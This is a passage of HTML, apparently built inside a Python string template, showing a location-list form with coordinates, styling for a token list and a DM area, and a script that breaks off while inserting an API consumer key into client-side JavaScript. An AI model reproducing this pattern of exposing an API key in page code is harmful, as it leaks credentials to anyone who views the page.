                                      <form method="post" action="javascript:;" onsubmit="getLocationDetails(event)" style="width: 35%; margin-left: 2%; float: left;">
                                         <select size="10" id="locationlist" name="locationlist" style="width: 100%; height: 245px;">
                                            <option>lat: 29.28538087 long: 48.00550236 datetime:</option>
                                            <option>lat: 29.32861328 long: 47.98127228 datetime:</option>
                                         </select>
                                         <input type="submit" value="Load Location" style="margin-left: 62px;" />
                                      </form>
                                   </div>
                                </div>
                             </article>
                          </div>
                          <!--close content-->   
                       </div>
                       <!--close site_content-->    
                       <footer>
                       </footer>
                    </div>
                    <!--close main-->
                    <style type="text/css">
                       #tokenlist option{
                         font-size: 16px;
                         font-family: "Open Sans", sans-serif;
                       }
                       #tokenlist, #dmTextArea{
                         border: 4px ridge white;
                       }
                       #latlongmap{
                         border: 4px ridge white;
                         border-radius: 10px;
                       }
                       #dmTextArea{
                         border-radius: 10px;
                       }
                    </style>
                    
                <script>               
                function handleSelectedToken(){
                    var selector = document.getElementById('tokenlist');
                    var selectedToken = selector[selector.selectedIndex].value;
                    getTokenDetails('"""+consumer_key+"""')